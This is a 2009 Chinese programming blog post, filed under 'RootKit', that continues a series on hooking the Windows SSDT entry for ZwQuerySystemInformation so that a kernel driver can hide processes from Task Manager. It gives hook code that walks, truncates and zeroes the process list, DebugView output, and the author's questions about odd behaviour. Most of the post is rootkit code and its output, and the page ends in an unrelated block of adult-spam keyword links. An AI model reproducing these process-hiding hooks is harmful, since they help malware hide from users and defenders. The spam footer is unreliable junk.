• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            HOOK SSDT Hide Process (八)

            Posted on 2009-10-28 14:38 S.l.e!ep.¢% 閱讀(342) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
            HOOK SSDT Hide Process (七)

            HOOK SSDT Hide Process (七)? 的代碼雖然隱藏了進程,但會導致在 taskmgr.exe 全部進程看不到
            而且運行一段時間后, taskmgr.exe 就會非法關閉

            Q:
            今天突然發現,如果 taskmgr.exe 中選中了 'Show processes from all users' 選項,還是可以看到其它進程的(taskmgr.exe成功隱藏),但為什么不選中就所以進程看不到?這么鬼異的問題估計要OD下 taskmgr.exe 才知道

            為了一查究竟,我把 MyZwQuerySystemInformation 修改成如下的代碼
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            //if(curr->NextEntryDelta)
            ????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????
            while(curr)
            ????????????{
            ????????????????????????????????KdPrint((
            "ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????
            if(curr->NextEntryDelta)
            ????????????????????curr?
            =?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????
            else
            ????????????????????curr?
            =?NULL;
            ????????????????????
            ????????????????
            ????????????}
            //?while(curr)?
            ????????????????????????
            ????????????????????????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }

            在 DebugView 中顯示的內容如下:
            Entry?Hook?Function!
            Entry?Hook()
            KeServiceDescriptorTable
            ->ServiceTableBase?is?:0x804e2d20
            OldZwQuerySystemInformation?
            is?:0x8057cc27
            MyZwQuerySystemInformation?
            is?:0xf8f0c080
            Leave?DriverEntry
            !
            ProcessName:(
            null)?NextEntryDelta:248?
            ProcessName:System?NextEntryDelta:
            3528?
            ProcessName:smss.exe?NextEntryDelta:
            400?
            ProcessName:csrss.exe?NextEntryDelta:
            912?
            ProcessName:winlogon.exe?NextEntryDelta:
            1304?
            ProcessName:services.exe?NextEntryDelta:
            1176?
            ProcessName:lsass.exe?NextEntryDelta:
            1360?
            ProcessName:vmacthlp.exe?NextEntryDelta:
            280?
            ProcessName:svchost.exe?NextEntryDelta:
            1360?
            ProcessName:svchost.exe?NextEntryDelta:
            656?
            ProcessName:svchost.exe?NextEntryDelta:
            3664?
            ProcessName:svchost.exe?NextEntryDelta:
            464?
            ProcessName:svchost.exe?NextEntryDelta:
            1104?
            ProcessName:explorer.exe?NextEntryDelta:
            920?
            ProcessName:spoolsv.exe?NextEntryDelta:
            848?
            ProcessName:VMwareService.exe?NextEntryDelta:
            416?
            ProcessName:VMwareTray.exe?NextEntryDelta:
            280?
            ProcessName:VMwareUser.exe?NextEntryDelta:
            536?
            ProcessName:ctfmon.exe?NextEntryDelta:
            272?
            ProcessName:wscntfy.exe?NextEntryDelta:
            272?
            ProcessName:alg.exe?NextEntryDelta:
            584?
            ProcessName:cmd.exe?NextEntryDelta:
            264?
            ProcessName:conime.exe?NextEntryDelta:
            272?
            ProcessName:DriverMonitor.exe?NextEntryDelta:
            608?
            ProcessName:notepad.exe?NextEntryDelta:
            272?
            ProcessName:taskmgr.exe?NextEntryDelta:
            400?
            ProcessName:Dbgview.exe?NextEntryDelta:
            0?
            Unhook?leave
            !

            接著再做一個嘗試,如果直接把第二個線程的信息的 NextEntryDelta 改為0 , 是不是 taskmgr.exe 就會只顯示一條線程?
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            if(curr->NextEntryDelta)
            ????????????????????????{
            ??????????????????????????curr->NextEntryDelta?=?0;
            ????????????}
            ????????????????????????
            ????????????????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????????????????
            /*
            ????????????while(curr)
            ????????????{
            ????????????????????????????????KdPrint(("ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????if(curr->NextEntryDelta)
            ????????????????????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????else
            ????????????????????curr?=?NULL;
            ????????????????????
            ????????????????
            ????????????}//?while(curr)?
            ????????????????
            */????????
            ?????????????????
            //???????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }


            情況還是?taskmgr.exe 中選中了 'Show processes from all users' 選項,就會顯示一條 System Idle Process 線程,如果不選中
            'Show processes from all users' 這個選項,那么 Taskmgr.exe 的列表就會顯示為空

            curr->NextEntryDelta?=?0; 那為何不把 curr 之后的數全部置為 0x00 ?
            于是,加多幾句代碼

            ??????????????if(curr->NextEntryDelta)
            ????????????{
            ??????????????????????????KdPrint((
            "SystemInformationLength:%d?\n",?SystemInformationLength));
            ??????????????????????????curr->NextEntryDelta?=?0;
            ??????????????????????????memset((
            void*)((ULONG)curr?+?curr->NextEntryDelta),?0x00,?SystemInformationLength?-?curr->NextEntryDelta);
            ????????????}

            此時,無論有無選中 'Show Process From all users'選項,所有進程都不顯示在 taskmgr.exe 了
            另外還發現兩個現象
            Q1. taskmgr.exe 調用 ZwQuerySystemInformation 時,ReturnLength?指針總是傳 NULL
            Q2. taskmgr.exe 調用 ZwQuerySystemInformation 時,SystemInformationLength 總是傳 0x6000
            難道 taskmgr.exe 并不是通過 NextEntryData 這個值來定位到下個進程的信息的?

            ?

            精品久久久无码中文字幕| 人妻丰满?V无码久久不卡| 少妇人妻88久久中文字幕| 久久大香香蕉国产| 国产精品永久久久久久久久久 | 精品国产一区二区三区久久蜜臀| 久久精品国产99久久久香蕉| 国产成人精品综合久久久| 欧美激情精品久久久久| 亚洲欧美成人久久综合中文网 | 久久99热这里只有精品国产| 久久中文娱乐网| 亚洲Av无码国产情品久久| 国产精品久久久久久一区二区三区| 久久久久人妻一区精品果冻| 久久香蕉国产线看观看精品yw| 久久久久国产日韩精品网站| 久久香蕉国产线看观看精品yw| 伊人久久五月天| 国产精品热久久毛片| 免费国产99久久久香蕉| 久久久久成人精品无码中文字幕| 亚洲午夜久久久| 久久久久久久久久免免费精品 | 狠狠色狠狠色综合久久| 久久久久亚洲av成人无码电影 | 国产成人综合久久综合| 麻豆一区二区99久久久久| 亚洲中文字幕无码久久2020| 久久久精品久久久久特色影视 | 久久亚洲sm情趣捆绑调教| 久久毛片免费看一区二区三区| 88久久精品无码一区二区毛片| 欧美丰满熟妇BBB久久久| 久久精品成人欧美大片| 久久久久精品国产亚洲AV无码| 久久夜色精品国产亚洲| AV无码久久久久不卡蜜桃| 99精品国产综合久久久久五月天| 亚洲国产精品成人久久蜜臀 | 久久国产精品二国产精品|